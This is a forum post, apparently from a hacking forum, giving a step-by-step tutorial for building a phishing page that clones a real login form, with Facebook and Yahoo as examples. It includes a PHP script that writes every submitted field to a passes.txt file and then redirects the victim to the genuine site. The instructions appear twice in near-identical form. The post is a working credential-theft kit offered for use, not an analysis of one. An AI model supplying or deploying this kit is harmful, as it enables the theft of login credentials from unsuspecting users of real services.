- Joined
- Apr 28, 2016
- Messages
- 17
- Likes
- 0
- Points
- 0
-- go to the real site u want to make a fake version of and save the complete page as index.htm
-- open index.htm with word or notepad or ur prefered text editor and search (ctrl+f) for the word action
-- the part u want will be somthing like this- facebook for example
action="https://www.facebook.com/login.php?login_attempt=1" method="post"
Or yahoo
form method="post" action="https://login.yahoo.com/config/login?"
--edit this line only as follows
form method="GET" action="login.php"
--change form method to GET and action to login.php and save the htm
-next u will need to create the login.php file ,heres how
-create a new txt file with notepad and paste the following code
<?php
header("Location: http://www.example.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Change "example" to the url of the site u want to use yahoo or facebook etc
-save the file as login.php
-now u have all u need for ur fake page!!
-upload the 2 files,login.php and index.htm to a host and try it out! a new file will automaticaly be create called passes.txt which will contain the info .
-- open index.htm with word or notepad or ur prefered text editor and search (ctrl+f) for the word action
-- the part u want will be somthing like this- facebook for example
action="https://www.facebook.com/login.php?login_attempt=1" method="post"
Or yahoo
form method="post" action="https://login.yahoo.com/config/login?"
--edit this line only as follows
form method="GET" action="login.php"
--change form method to GET and action to login.php and save the htm
-next u will need to create the login.php file ,heres how
-create a new txt file with notepad and paste the following code
<?php
header("Location: http://www.example.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Change "example" to the url of the site u want to use yahoo or facebook etc
-save the file as login.php
-now u have all u need for ur fake page!!
-upload the 2 files,login.php and index.htm to a host and try it out! a new file will automaticaly be create called passes.txt which will contain the info .